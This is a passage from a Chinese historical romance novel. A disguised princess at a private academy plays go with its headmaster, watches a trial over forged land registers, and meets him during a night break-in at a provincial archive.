“好你个苏玉,明明是我帮了你,你不谢我反倒罚我,”江鹤心怀不忿,一边抄着,一边低声咒骂,“不是喜欢罚人抄书吗,你给我等着,本公主早晚抄在你身上。”
序竹被她吵醒,迷迷糊糊的坐起身揉着眼睛。
“江鹤,你在嘀咕什么呢。”
江鹤身躯一震,刚刚骂的太投入了,被她的突然出声惊了一下。
“没事没事,我念经呢,我不念了你快睡吧。”
序竹哦了一声,也不知道到底听没听清她说了什么,倒身就趴下了。
江鹤深吸了一口气,拎起那本《省身录》掂了掂,在心中骂得更狠了。
第二天,序竹拖着只睡了两个时辰的江鹤,去上了早课。
德熹堂在书院东边,是一间宽敞明亮的学舍。三面开窗,窗外的梨花枝条探进来,在书案
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上投下细碎的影子,伴着鸟叫声,江鹤挑了最后一排靠窗的位置坐下。
德熹堂的早课,向来都是苏玉来上的。
她强打着精神,苏玉的身影在她眼前越来越模糊。
“江鹤?江鹤!”
她忽然听到有人在叫自己。
抬起头时,她被眼前那张脸吓了一跳。
陈盛脸色黑沉,拿书卷砰地一下拍在她桌上。
她迅速环视了周围一圈,所有人都在看她。
授课的人已经从苏玉变成了另一位脾气更不好的先生。
“江鹤!”陈盛横眉怒目道:“开学才第二天你就敢当堂睡觉?还有没有规矩了?!”
她的困意被陈盛一扫而空。
“你给我站起来!”
江鹤不情愿地照做了。
“我听说山长已经罚了你抄书,再加两遍,给我站外面去!”
啊?
按理说书院里的人不应该都是斯文人吗?怎么一个两个脾气比北境的人都要大。
江鹤强压下了怒火,在众人的目视下出了德熹堂。
没一会儿,堂外传来一声闷响,紧接着就是一阵枝叶乱颤的动静,听着快要散架了。
陈盛气冲冲的走了出来,看到江鹤正乖巧的蹲在门口抄书。
他一口气差点没背过去。
江鹤也不知道因为是睡够了,还是出气了,此刻只觉得神清气爽,抄《省身录》的手竟然又快了几分。
当天晚上,她拿着抄了一天一夜的《省身录》,强打精神站在了苏玉的书房门前。
江鹤做了一个深呼吸,整理仪容后,敲响了房门。
“先生,是我江鹤,可以进来吗?”
没人应。她又等了一息,正要再敲时,门里传出一声懒洋洋猫叫。
“喵~”
什么鬼声音?是她睡太少脑子抄书抄糊涂了吗?
过了一会儿,书房里传出一声带着几分慵懒的回应。
“进来吧。”
江鹤推开门,迎面是一股淡淡的墨香,混着她之前在苏玉身上闻到过的茶香,两种味道混在一起,在脑中形成一种很微妙的感觉,清冽又沉静。
她清醒了一点。
她曾在一本叫《草木辨真》的古医书上看到一种言论,说五感中能在记忆中留存最久的,是气味。
这味道让她有些上瘾,她想拼命记住,可惜很快就什么都闻不到了。
苏玉正半倚在窗边的书案前,懒懒的拿着卷书,身上卧着一只灰白相间的猫。见到江鹤进来后,他缓缓坐直身。
江鹤走上前,恭敬地递了一厚沓纸。
“先生,《省身录》学生抄完了,请您过目。”
苏玉双手接过,随手翻看着。
在这个空当,江鹤悄悄打量着四周的陈设,这间书房不算大,却十分雅致。
临窗放着一张长案,隐约映着月光,对面是一整排书架,一格一格塞得满满当当。
旁边的墙上挂着几幅书画,江鹤认出来那是赵轼的《枯木竹石图》,是真迹。
“不是十遍吗,怎么又多了?”
苏玉抬头看了她一眼。
江鹤收回视线,抿了抿唇不情愿地坦白。
“嗯...我今天太困了,在陈先生的课上睡着了...他又罚了三遍。”
“只是陈先生的课吗?”苏玉尾音微微上扬。
她扯衣服的手顿了一下,她就不明白了,这些文人怎么这么喜欢明知故问。
江鹤没说话,盯着他翻页的动作,装聋子。
可是下一秒,她看到苏玉手里的东西,浑身的血液即刻静止。
5. 见山书院(三)
一张画着巨大只王八的纸,赫然出现在两人眼前。
江鹤没等他反应,上前一把抢了过来,直接塞进嘴里。
“咳咳咳...”
她满嘴都是苦涩的草木味和墨臭,她梗着脖子硬吞,却怎么都咽不下去,江鹤拍打着胸脯,进来时的困意全无。
苏玉递来一个茶盏:“喝口水,别噎着了。”
江鹤接过后喝了一口,被水化开的焦臭味让她恶心的想吐出来,但还是忍住了,一口一口地嚼烂后硬生生咽了下去。
她平复心情后解释道:“学生偶尔涂鸦之作,不敢污先生耳目。”
她一边在心里祈祷:他一定没看到,他一定没看到王八上写的名字。
苏玉含着浅笑坐了回去:“不至于。”
他是在笑我吗?
江鹤抬眼悄悄观察他的神情,揣测他刚刚到底看没看见,她觉得自己的速度很快。
她现在只祈祷不要再出现王八了,她已经记不得昨晚到底画了几只。
苏玉坐下后又随意翻了翻,末了说了一句:“字倒是不错,颇得傅啸林的神韵——”
废话,就是那老头本人教的,能不像吗,江鹤心想。
“很豪放。”
“哈哈...”江鹤干笑了两声来掩饰尴尬,合着刚刚不是夸自己的。
她的视线顺着苏玉斜坐的方向看去,桌案右侧夕阳的余晖里,有一盘棋局,看着有些眼熟。
她竟鬼使神差走了过去。
那是一盘看似无解的残局。
江鹤心中一喜,自顾自坐下后,新执一枚黑子落定。
她母妃痴迷棋道,江鹤很小的时候便常与她对弈,一局棋往往消磨掉整个午后。
眼前这残局,她曾在一本古书上见过。
那是她幼时为找话本儿,偷溜到宫中的禁书阁,无意中翻到的。因娴妃喜欢棋谱,她便带了回去。
时隔多年,她仍清楚地记得,她母妃看到那本书时如获至宝的神情。
苏玉注意到她的动作,走了过来。
只见濒死之局豁然开朗。
江鹤抬起头,望向那双注视她的眼睛。
那汪泉水流动了起来,他笑起来很温柔,怪不得洛惊鸿说他温润如玉。
如今看来,名副其实。
江鹤站起身,行礼道:“学生班门弄斧,先生见笑了。”
她心里得意洋洋,哼哼,这还迷不死你?
“你会下棋?”
苏玉有些意外,语气里带着几分探究。
“儿时常与家母对弈,下得多了也就会了。”
江鹤面容清丽,语气谦卑,不了解她的人很容易以为她是个温顺的。
这种长相做起坏事来,最容易了。
“谦虚了。”
苏玉落座在棋局另一侧,示意她坐:“可愿再与我手谈一局?”
江鹤抬头对上他的眼睛。
人人都道若是喜欢一个人,是不敢直视对方的眼睛的,可是江鹤偏偏喜欢直接与他对视,紧盯的目光像是要穿透他的眼眸,她想要看看里面到底藏了些什么。
这应该不是喜欢吧,不然自己为什么这么坦然。
对方也并没有躲闪。
江鹤浅笑致意:“与先生对弈,是我的荣幸。”
春日微风习习,朦胧的落日余晖里,对坐之人,不知究竟是谁入了谁的棋局。
夕阳一寸寸后移,直至消失不见,后来又换成月影悄悄淌进屋里。
月光落到书案桌脚的小猫身上,它自顾自叫了几声,然后将自己团成一团,沉沉睡了过去。
一局快要结束,江鹤这几日积累的困意逐渐漫上来。
她的身形渐渐倒下,最后趴在棋盘上,枕着胳膊就睡着了。
苏玉坐在她的对面,看着她一点点趴下去。
风吹了进来,轻轻拂动她额前的碎发。
苏玉静静地望着她,缓缓开口。
“那日,是你吗?”
对弈之人没有回答。
苏玉起身走到窗边,将窗户关好。
临走时苏玉回头看了她一眼,随即又折返回来,在她身上披了件衣服,之后便悄无声息地离开了。
春日的夜晚仍带着凉意,江鹤无意识地拢了拢身上的衣服。
那晚她做了一个梦,梦里白雾茫茫,分不清天与地的界限。
雾中央站了个人,让她快跑。
江鹤往后看了一眼,只见身后无边的黑暗如潮水般向她吞噬而来。
她拼命地往前跑,可无论她怎么追,都追不上那个人。
在即将被黑暗完全吞噬的那一刻,她猛地从梦中惊醒,一下子坐起来。
江鹤环顾四周,发现此时天还没有亮透,四周陈设在将醒未醒的曦光里显得格外静谧。
“我竟然在这儿睡着了。”
江鹤想起来自己昨晚棋下着下着,倒头就睡了。
她回头看见掉在地上的衣服,一眼就认出来这是开学那日,苏玉穿的那件。
他走了吗?
江鹤捡起那件外衫,不自觉放到鼻尖闻了闻,是他身上的味道,淡淡的茉莉花香。
“好想藏起来。”
江鹤意识到自己在做什么后,转念又摇了摇头,随即清醒了几分。
她有些自我嫌弃地自言自语道:“云沧溟,你在干什么,你是变态吗?”
江鹤打了个寒颤,把衣服叠好后看向一旁的卧榻。
那只猫团成一团,还在睡。
啧啧,命真好。
江鹤走过去,摸了摸它圆圆的脑袋,又把叠好的衣服展开,盖在那只猫身上。
关门时,她最后看了一眼昨晚那盘没下完的棋局。
她有些遗憾。
刚转过身,江鹤正好碰上往这边走的文隽。
文隽是苏玉身旁协理事务的师兄,也是苏家的人。
“诶,鹤师妹,一大早你怎么在这?”
江鹤瞧他手里抱着一摞书册,想来是送东西的。
“哦,那个……我来送罚抄。”
文隽点点头:“这样啊,先生他一般是上了早课才会来书房的,你那时再来吧。”
“好。”
“最近食堂新上了桃花冻,大家都在抢,现在还早人比较少,你快去吧。”
“谢谢师兄。”
江鹤还以为文隽和苏玉一样话不多,没想到是个话痨热心肠。
倒是有点意思。
文隽目送着她离开的背影,心中不解,送罚抄怎么什么都没拿呢。
但他倒也没多想,推门进去了。
到食堂后,江鹤果然闻到一股浓郁的桃花清香,最近正值桃花季。
她趁人少给序竹多拿了几个。
用过饭后江鹤去上早课,这一路上她都沉浸在棋局的余韵里,期待早课再见到苏玉,可刚转过月门,她就看到一群不该出现在这里的人。
德曦堂门口,六个皂隶身穿黑红相间的公服,手按刀柄一字排开,廊下的学生们缩在两旁,交头接耳。
苏玉就站在他们对面。
江鹤
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放慢脚步,混进学生堆里。
“官府传唤——府台大人有令,见山书院涉嫌侵占学田,请山长跟我们走一趟。”
为首的差吏手里拿着传票示意诸人。
江鹤透过人群看到,传票上盖的是府衙大印,不是县衙的。
照理说,这种案子都是归县衙先接手的。
“请吧。”皂隶两侧排开让出一条路。
苏玉没多说什么,只身跟他们走了。
等人走后,刚刚噤声的诸学子逐渐放声,闹哄哄的。
江鹤瞥见裴宣正躲在躁动的人堆里,一副看好戏的神情。
果然。
江鹤跟着人流,一路来到公堂外。
公堂比她想象的要大得多,‘明镜高悬’的匾额挂在正中,朱漆剥落了几处,看着有些年头了。
只见裴义威风凛凛的坐在堂上,一副小人得志的模样。
堂下有两个人,一侧站着苏玉。
另一侧却坐着一个身穿绯袍,通身贵气的人。
江鹤一眼就认出了他,那是魏王云牧的女婿,仪宾陈叙。
她曾在宫中万寿节上与他有过一面之缘。
堂上寂静。
裴义将两本册籍往前一推,皂隶接过,送到苏玉面前。
“苏先生,这是户房的鱼鳞图册正本,另一本是对应的黄册。”
裴义字字清楚:“上面写得明白,李家村二十八亩学田,业主陈叙,税粮登记在册。”
“见山书院涉嫌侵占学田,山长你认不认?”
苏玉没有立刻答话。
他翻开两册,正如裴义所说,陈叙名下,那二十八亩田地赫然在列,税粮、等级、四至,无一不全。
他合上册子,抬起头。
“大人,这两本册子,在下不认。”
堂下有人冷笑。
赵叙安坐在椅子上,手指慵懒地敲着扶手。
“册籍不认?”他的声音居高临下,“那山长认什么?”
裴义端起茶盏抿了一口,目光落在案上,不看任何人。
苏玉从袖中取出一叠发黄的纸页:“这是书院的红契,经官盖印,上面写明李家村二十八亩,业主见山书院。”
“按《大盛律》,经官盖印的红契为凭,其效力不在册籍之下。”
皂隶将红契呈上,裴义接过翻看,契纸虽旧,却无半点伪造痕迹。
他看了片刻,语气淡了几分:“红契虽真,可十年前的册籍也是官册。两样都是真的,你说,本府该信哪个?”
赵叙在旁轻笑了一声:“山长,册籍在此,黄册也在此,你还要纠缠什么?这案子审得久了,怕是对书院不好看。”
苏玉并没有理睬他,目视裴义道:“大人,在下以为,此事当先奏闻朝廷。”
堂上一静,裴义抬起头。
赵叙的手指在扶手上微微一顿,目光钉了过来。
“按大盛律,仪宾涉讼,地方官不得擅审,当实封奏闻,请旨提问。”
“大人今日开堂,于法不合,日后朝廷查问起来,只怕大人也不好交代。”
苏玉顿了顿,不卑不亢道:“在下请大人暂停堂审,奏请上裁。若他日朝廷准了,在下自当应诉,绝无二话。”
这件事说大不大,说小不小,土地兼并一直都是大盛的痼瘤,闹大了让朝廷知道,这戏就有的看了。
赵叙盯着苏玉,目光冷下来,随后又逼视了裴义一眼。
他在拿皇亲的身份施压。
堂下百姓屏息凝神,都在等知府发话。
6. 见山书院(四)
“山长说得有理。”裴义迎合地笑了笑,“仪宾涉讼,本府确实不该擅专。”
为了几十亩学田,把这事闹到京里,他赵叙还是赵叙,他这个知府还是不是知府,可就不好说了。
赵叙是个没脑子的,他没必要为了巴结他以身犯险。
他知道自己真正的主子是谁。
出了事,赵叙背后的人找替罪羊,第一个就是他裴义。
看裴义松口了,赵叙的脸色瞬间黑了。
“裴义!”
知府置若罔闻,接着说:“这样吧,本官先派人去李家村勘察,丈量田亩,核对四至。等事实查清,再具本奏闻,请旨定夺。”
“在下无异议。”苏玉拱手,退后一步。
知府站起身,皂隶唱道:“退堂——”
两旁差役齐声低喝,赵叙从椅子上站起来,经过苏玉身边时瞪了他一眼,径直去了。
江鹤混在人群里,观察着一切。
这个赵叙她早就听说是个好事之徒,不可能善罢甘休。
这下好戏开场了。
回到书院,其他课还在照常进行。
江鹤有些心不在焉的,听着台上的又换了个新老头念经。
午课后,江鹤在书院里瞎逛,逛着逛着就来到了书房附近听墙角。
“山长!这明摆着是裴义那老匹夫和那什么仪宾勾结,要占我们的学田。”
一阵来回的踱步声后,江鹤听出来这是书院另一位主讲陈盛的声音。
“仰山兄莫急,他们既然敢伪造,就一定找得到痕迹。”
“我怎么能不急!”一声拍桌子的重响,“我寻思着,定是你打了他儿子,他不敢明着来,就暗中蓄意报复,何况他本来就跟你不对付。”
“倒是一种可能。”苏玉饮了一口茶,把玩着杯盏。
“现在先甭管什么可不可能,我看山长一点都不着急,可是有对策了?”陈盛等着他发话,仿佛只等苏玉一声令下,他就要冲出去拼命。
“如今要证明他们的鱼鳞图册是伪造的,最直接的办法,是调阅副册进行比对,我事先派人私下查过,户部和布政使司的鱼鳞册也已经被篡改,毁册和私藏是死罪,真册怕是还在里面。”
“你早知道这件事了?”陈盛疑惑地掐着腰,“那我们现在怎么办?”
“仰山兄不必担心,我自有——”
“江鹤,你在这干嘛?”
汪景宜不知道从哪冒出来,江鹤正听的专注,被惊得身躯一震。
“嘘!”江鹤一把捂住他的嘴。
陈盛听到动静,起身就要推门,苏玉想要拦他但没拦住。
“谁?!”
门外梨花随风而落,空无一人。
“许是狸奴在外面贪玩,仰山兄莫惊慌。”苏玉的声音从里面传出。
陈盛将信将疑的作罢了。
江鹤拉着汪景宜来到一处空旷地,甩开他的衣袖,没好气的问:“你找我干什么?”
汪景宜看出她有些生气,往后退了一步,行了个深深的拱手礼。
“鹤卿兄,我虽不知是哪里惹恼了你,但我先和你道歉,对不起。”
江鹤其实觉得自己算是个好脾气,面对汪景宜的姿态,瞬间火气散了多半。
“好了,你不用如此,”江鹤拉起来他,“说吧,你找我什么事?”
说到此汪景宜有些不好意思地看着江鹤。
“其实没什么,就是...上次你帮了我,这几日我一直想找机会跟你说声谢谢,刚刚下课我看你往这边走就来找你。”
合着他是一路跟着她过来的,眼睁睁看着她在偷听。
江鹤扶额。
“你其实不必谢我,是我看不惯裴宣嫌他烦才插手的。”
“不管你出于什么总归是你帮了我,我没什么值钱的东西,这是我娘给我准备的糕点,希望你不要嫌弃。”汪景宜递过来一盒用粗布包着的果子,塞到江鹤手里。
江鹤拿着果子,忽然有些动容。她是从刀光血影里走出来的人,最怕的反而就是世间难得的温情。她很可怜汪景宜,可她觉着可怜这个词太高傲,或者说她同情汪景宜。
江鹤说:“好,我会吃的,谢谢你。”
汪景宜也如释重负地笑了。
和汪景宜分别后,江鹤一路回到棠梨轩,边走边思忖。
鱼鳞册不见了...这倒是个和苏玉攀交情的机会。
江鹤觉得此事来得正好,你就等着谢我吧,山长。
江鹤思定后,一蹦一跳地回了棠梨轩。
她耐着性子等到夜深,确认序竹睡熟后,换上一身夜行衣,悄然出门。
四更天至,露重更深。
今晚阮州刚下了场大雨,有些凉。
江鹤趁夜深,潜入了阮州上属的布政使司内院。
架阁库门前坐着一个库夫,怀里抱着一把刀,脑袋一点一点地打着盹。不远处的廊下,另一个禁子正来回踱步。
廊下的灯笼被雨浇灭了几盏,剩下的在风里晃着。
江鹤蒙着面躲在松树后,松针续不住水,滴滴答答的落在她身上,江鹤的肩膀洇湿了大片。
她捡起一块石子,朝西边的花丛弹了过去。啪嗒一声落了地。
库夫一个激灵后站起身,朝花丛那边走了两步,压低声音喊:“谁?”
没人应。
另一个禁子走过来,皱着眉头:“怎么了?”
“好像有什么动静。”库夫指了指花丛。
“我去看看,你守着门。”禁子小心翼翼地往花丛那边摸去。
库夫点点头,转身走回门口,靠着门框,目光却一直追着禁子的背影。
江鹤等的就是这一刻。
她无声无息地贴到库夫身后,那人察觉到不对劲后还没来得及转头,颈后便挨了一记手刀,歪倒在地。
江鹤摸到库夫的钥匙后,将他拖到远处的阴影里。
她抬起头,看了一眼还在花丛那边翻找的禁子,那人背对着她。
江鹤闪身进了库房,将门从里面带上。
门外,禁子从花丛里直起身,什么也没找到。
他摇摇头,走回门口,喊着:“老马?老马——”
没人应他。他四处张望了一圈,廊下空空荡荡。
禁子嘀咕了一声:“又他娘的偷懒去了。”
架阁库里漆黑一片,空气里全是陈年纸张和檀木味,还有一股淡淡的霉味。
江鹤擦着了一根火折子,亮起来的瞬间,她的影子被投在对面整排木架上。
她屏着呼吸,很快找到阮州见山书院的库籍存放地,取出了对应的鱼鳞图册。
江鹤将火折子含进嘴里,凑近翻动泛黄的纸张,扬起的灰尘在微微火光中沉浮,干燥的翻动声,在静谧里显得格外刺耳。
那册页上画着不规则的田块形状,一页页翻过去,见山书院的学田竟有上千亩之多。
江鹤翻至一页,数着密密麻麻的字。
“景宣十五年...珍字贰佰叁号,田二十八亩,东至管道,西至榆林街,业主:见山书院。”
江鹤皱着眉,指尖点在“榆林街”三个字上。
“不对...西边怎么可能才到榆林街,该是嘉林坊才对。”
她白天已悄悄打听过,见山书院的学田最西侧分明是嘉林坊。
这是假册。
江鹤想起书房苏玉说的话,后半段被汪景宜打断了。
私藏真册是重罪,没有完全的把握,他们是不敢带出去的。
真册很有可能还在这里面。
江鹤顺着墙壁摸去,试图找到壁藏夹层。
她敲了个遍,声音沉闷而一致,全都是实心的。
那地板呢?
她放慢脚步,一步一顿,仔细聆听着鞋底与地面接触时发出的声响。<
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走到一处时,她突然停下脚步,拿鞋后跟磕了两下。
空心的,底下有东西。
她低下头,目光钉在那块砖上,砖面的颜色比周围的略深,边缘的缝泥有些剥落,像是刚被人动过。
她的手指刚触到那块砖的边缘,还没来得及动手,一步之外,忽然“咣当”一声,声音不大,却留下一缕细细的回声,在空旷中悠悠荡开。
瘆人的余音中,江鹤浑身一激。
这里面,不止她一个人。
左后方的位置,此人从江鹤进门起,就一直在暗中观察她。
她慢慢站起了身子,狭路相逢勇者胜。
换作旁人,被此人紧盯着先发制人,必死无疑。
江鹤虚步一错,旋即转身,匕首直直朝对方喉颈刺去。
对方反应极快,身体猛地一偏,锋刃擦着他耳侧划过,他趁势反手一掌,直劈江鹤腕骨,逼得她向后一缩。
江鹤刀刀紧逼,他却接连几次险避,反手几度直取她命门,每一招都又快又狠,逼得江鹤连连闪避。
两人缠斗数合,江鹤忽地连出几记虚招,身形一晃,刀锋从左路虚刺,引得那人抬手格挡。
她手腕一翻,匕首从他臂下穿过,正中他握刀的手背,匕首应声落地。
江鹤欺身而上,左手狠狠钳制那人咽喉,将他整个人压在了身后的架子上,震得架子一晃。
一切声响戛然而止,那人被她掐得仰起头,细微的喘息在黑暗中格外清晰。
她自知书读得不如宫里那些人多,但论打架这回事,这世上还没人能让她输。
江鹤拧过他的下巴,一把扯掉面罩。
看到那张脸时,她浑身猛地一僵。
“先生?”
苏玉现在脸上的表情不算好看,恼怒中带着些屈辱。
“放手!”
江鹤一下子弹开了。
“山长怎么在这儿?”她一脸无辜,装作一副刚刚什么都没发生的样子。
“我还想问问你怎么在这儿。”
苏玉被放下后喘息未定,语气不善。
“嗯...我来遛弯,对!来遛弯,啊哈哈。”江鹤一脸赔笑。
就在此时,库房外传来一阵紧密的脚步声。
“老马?老马?你怎么睡这儿了!”
不好!
刚刚打斗的声音不算小,应该是把人引来了。
苏玉闻声一把拉过江鹤,带着她躲进存放清扫工具的壁橱。
壁橱里全是厚重的灰尘和铁锈味,进去的时候她被脚边横七竖八的扫帚绊了一下,苏玉拽住了她的胳膊。
门关上后,苏玉转过身与她面对面站着,两人之间只剩一尺的距离。
苏玉一只手攥着她的胳膊,另一只手臂撑在她耳侧的墙上,心跳声交织在一起,分不清哪一声是谁的。
江鹤的呼吸骤然止住,不知是因为紧张,还是因为过近的距离。
门外脚步声越来越近,有人沉声道:“就在这里面,搜!”
七八个禁子破门而入,江鹤的手已经摸上了匕首。
苏玉按住她,低声道:“别动。”
江鹤首先听到地砖被掀开的声音,果然,东西在那里。
此时一个踱步的禁子走到壁橱门前,与他们只一门之隔。
禁子的脚步声在门外停了后又响起,之后又停了,像是在犹豫什么。壁橱的门缝里透进一线昏黄的光,落在她攥紧匕首的手上。
江鹤感受到苏玉抓着她的那只手渐渐收紧,此时那股浓郁的茶香竟压过了灰尘的味道。
那一刻她在想,如果被发现就冲出去砍了他们,把自己供出去,她顶多是提前暴露,被宫里知道她在外面胡闹。
下一秒,她偏过头看到了什么,突然挣脱了苏玉。
苏玉死盯着门沿,没去管她。
“吱呀——”门被缓缓推开。
7. 见山书院(五)
那人推开门,火把的光在狭小的隔间里扫了一圈,除了横七竖八的清扫工具,什么都没有。
但他没有着急离开,而是抬头看向头顶,上面架阁库房顶的检修口,只能进一个人,平时用木板盖着并不起眼。
他没有贸然掀开,而是举刀向上,对准那块木板。
江鹤刚刚在下面贴墙站着的时候,觉得后背那块石墙格外凉。
她起初并没有在意,只当是雨天潮气重,可渐渐地,她感到一股极细微的风从头顶灌下来,凉丝丝的。
她慢慢抬起头,头顶是一片漆黑。
江鹤挣开苏玉,几步攀了上去,用手摸到一块可以活动的木板,约莫一尺半见方。她用力一推,钻了进去。
里面是房梁和天花之间的夹层,勉强有一人高,弯腰可以站立。但左右两侧被石柱挡死,根本过不去人。
这个开口之所以在这里,大概率是为检修屋顶留的上人孔,能直通房顶。
她心中一喜,用手往上推了推,却怎么都推不动。
现在脚下只有一块窄窄的木板,开口只有一尺宽,要想藏身,只能站在这方寸之地。
苏玉注意到她的动静,抬头看了她一眼。江鹤朝他打了个手势,他也攀了上来。可他没想到,上面窄到两个人很难站下。
她用力把他拽上来,苏玉的身体刚站稳,两人就被挤得贴在了一起。她本能地抱住他的腰,苏玉一手撑着头顶,一手紧紧揽着她,才勉强稳住身形。
两人刚站定,就听到脚下的壁橱门被打开了。
江鹤在想,对方要是有胆子上来,她会让他死得很难看。
那人举着刀,正准备往上刺的时候,远处隐隐约约传来几个人汇合的声音。
“没人。”
“也没人。”
“还好,什么都没丢。”
是老马的声音。
“张池呢?张池去哪儿了?
那人闻声收回刀。
“我在这儿,这里也没人——”
张池关上门,脚步声渐渐远了。
江鹤悄悄松了口气,这才完全反应过来。
两人现在贴得严丝合缝,江鹤紧紧搂着他的腰,她能感受到苏玉浑身紧绷,温度隔着单薄的夜行衣传来,他身上很热。
刚刚骤然暂停的心跳,此刻在胸腔重新震动。江鹤贪恋这种温热,把脸埋在他身上,舍不得松手。
他真的很好闻。
苏玉回过神来,低头看到江鹤完全没有要松开的样子,像狸奴一样扒在自己身上。
他沉着声音说:“下去!”
江鹤装没听到,她只听到他的心跳声,一下下好像比自己还快。
“人已经走了...我说让你下去。”他的呼吸又重了几分。
“哦。”
江鹤仰头看了他一眼,有些不舍地和他分开,跳了下去。
苏玉紧跟着她下来了。
江鹤刚出去一步,就听到库房门突然又被轰开,她下意识把苏玉往隔间深处推去。
门口传来几声对话。
“我都说了没人,快些走吧该换班了,别疑神疑鬼的。”
江鹤松了口气,转过头来看到苏玉正皱眉捂着胸口。
“你小小年纪,力气怎么这么大。”
苏玉成功触发了江鹤的关键词。
“你说我年纪小?我已经二十多岁了好不好。”江鹤微嗔道。
不知道为什么,江鹤很介意苏玉说自己年纪小。
但这话刚说出口她就后悔了,果然人在激动的时候是很难控制情绪的。
看苏玉还捂着胸口,江鹤意识到刚刚好像真的有点过头了。
她发力非常有技巧,动作不大,却可至内伤,她有点担心刚刚没收住力。
“你怎么样了,是我太用力了吗?”江鹤上前想查看他的情况。
苏玉一把将她推开了。
“我没事,这里不是说话的地方,趁他们换班,我们快走。”
江鹤拽住他:“不行,那地砖下有东西。”
苏玉按住她的肩:“我刚刚已经看过了。”
“那好吧。”
两人回到书院时,天上又下起了雨。
雨打在廊顶的青瓦上,游廊下亮着的灯笼被雨雾包裹,透着橘红的光晕。空气里都是湿泥的味道,混着青苔的阴凉气。
两人并肩走着,谁也没说话。
江鹤突然想到了什么想问他:“先生,我刚刚——”
“我今天很累了,有什么事明天再说吧。”
苏玉神情淡淡的,撂下一句话后就径直往前走。
江鹤站在原地有些不满,一阵风吹过,她打了个寒颤,也准备回去了。
“江鹤。”
她刚准备走,就听到苏玉叫住她,她随即便转过身,脸上带着探究的表情。
风裹着雨丝不时吹进廊内,朦胧的雾光里苏玉望着她,半晌才开口。
“明天早课你要是再敢睡,立刻给我收拾东西走人。”
啊?
好歹也算是打过架的交情,刚刚还患难与共,现在动不动就翻脸,什么人啊。
“哦,”江鹤撇撇嘴,“知道了先生。”
回到棠梨轩后,江鹤换下那身衣服,简单擦拭后钻进了被子里。
现在外面雨势渐大,雨滴打在窗户上声音闷闷的,她裹在皂角香的被窝里,觉得很安心。
明明晚上什么都没查到,还差点把苏玉拉下水。
可她此行的目的,本来就不是查案吧?她真正想要的东西,反倒阴差阳错地得到了。
她仍记得苏玉身上的温度,那种让她贪婪眷恋的温暖。想到这里,江鹤本能地打了个激颤。
可她明天又该怎么向他解释?
根本就解释不清。
江鹤想着想着,眼皮越来越沉,不知不觉在大雨声中沉沉地睡了过去。
南苑见山居里,疾风乱雨声密一阵疏一阵。
苏玉坐在棋台前,手指捏着的白子迟迟未落,片刻后他忽又将棋子丢回棋盒。
他闭上眼睛,俯身靠在棋盘上,双手交握撑着额头。
他本该今晚就将江鹤一审到底。
就在这时,一阵叩门声穿透风雨,与轰隆的雷鸣混在一起。
“先生,您找我?”
文隽被他连夜叫了过来。
苏玉打开门,风裹着雨丝扑进来,文隽提了一把伞,神情有些紧张。
他进来后把伞放下,拍了拍被暴雨吹乱的衣服。
“这么晚了,先生是有什么要紧的事吗?”
苏玉点了一支蜡烛,放在书案旁,示意他坐。
“明天你去朔州,帮我查一个人。”
“朔州?”
文隽听完苏玉接下来说的话,惊愕了片刻后,朝苏玉重重地点了点头。
文隽开门时一阵风灌进来,扑灭了桌上的蜡烛。
苏玉没去理会,径自回到棋台
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前,一道闪电瞬间将满盘棋子照得惨白。
窗外风雨如晦,他将上次那局残棋下到了终局。
雨后的空气总是带着泥土的清新。
第二天一早,江鹤站在棠梨轩窗边,深深吸了一口气,顿时感觉神清气爽。
“走了,江鹤。”
序竹提着背包拍了拍她。
“走吧。”
这天一早,江鹤和同门师兄妹吃过早饭后,一起去德熹堂早课。
她们刚到门口就和苏玉撞了个正着。
他又换上了平日一贯穿的苍绿色素服,一身清雅,与昨夜判若两人。
要不是昨晚被江鹤撞见,谁都不会想到他还有截然不同的另一面。
“山长早。”众学子齐刷刷行揖礼问安。
苏玉微微点头还了半礼。
江鹤怀着忐忑之心抬起头,正对上苏玉审视自己的眼睛,一双仿佛能看穿她的眼睛。
秋水含波,沐如春风,此时却带着些雨的凛冽。
心中有鬼的人,总容易心虚。
江鹤有些尴尬地偏过头去,反应过来时苏玉已经走远。
“想什么呢江鹤,山长已经进去了,再不走要迟到了。”一旁的序竹用胳膊碰了碰江鹤。
“没什么,走吧。”
早课上,江鹤坐在靠窗的第一排,她支着脑袋,一边漫不经心地翻着书,一边听着他讲课。
见山书院不受官学束缚,和其他书院有一个很大的不同点,就是授课内容不局限于四书五经,九流十家无一不涉。
江鹤最喜欢听他讲心学。夫子言之,与我心有戚戚焉。
但不知道为什么,她觉得苏玉今天的声音比往常有些哑。
课后,文隽叫住了江鹤。
“鹤师妹,山长找你。”
果然,还是逃不过。
书房在远山庭里,进去的时候,里面安静得只有窗外的鸟鸣,这本是风雨初霁,春和景明的一天。
苏玉正翻看着刚刚学子们交上来的课卷,并没有抬头看她们。
“先生,鹤师妹来了。”
苏玉朝文隽示意了一眼:“你去吧。”
文隽会意出去后,苏玉又低头继续做他的事,仿佛她不存在似的。
江鹤刚刚差点伸手去拽文隽的袖子,她想让他留下,但忍住了。
她感觉两人之间的空气都是凝滞的,气氛一度十分诡异。
“山长,您找我。”江鹤开口打破了这一僵局,手指不自觉地绞着衣袖。
苏玉终于停下了手中的事情,施舍给江鹤一个眼神。
“是你自己说,还是我问你?”他的声音带着昨晚雨的凉意。
说什么?说她昨晚为什么出现在府衙,还是说她为什么打得过他,又或者说她的真实身份是什么。
后两个问题江鹤昨天想了一晚上,都没想到一个能圆过去的理由。
“昨天我偶然听到您和陈先生的谈话,就想着出一份力,”江鹤鼓起勇气抬起头对上苏玉的眼睛,“总之我并没有恶意。”
“你知道我问的不是这个。”苏玉语气还算温和。
“那还是您问我吧。”江鹤又垂下了头。
“我问你,会说实话吗?”苏玉放下了手中的东西。
江鹤沉默了。
苏玉绕过书案,走到她面前。
他往前一步,正好挡住了窗外照进来的光,她被完全笼在他的影子里。
“看着我。”
8. 应县(一)
江鹤不知道该怎么形容他的眼神,那是她从未见过的陌生,里面没有往日的平静、清冷,亦或是温柔。
他的眼神带着异常浓烈的情绪,像她在北境看到的那些敌人一样,想要将她吞噬得一干二净。
但也不完全一样,苏玉眸色七分是纯粹的黑,还剩三分,她读不懂。
江鹤错开了视线,这是她第一次,不敢直视苏玉。
那一刻,她真的觉得自己那些不干不净的心思,已经完全被他看穿了。
见她又垂下了脑袋,苏玉收起目光,叹息般缓了口气,之后走到另一侧的椅子前坐下。
窗外的光重新落在她身上。
“坐吧。”
苏玉示意他坐到对面的椅子上。
“说说看,昨晚查到了什么。”
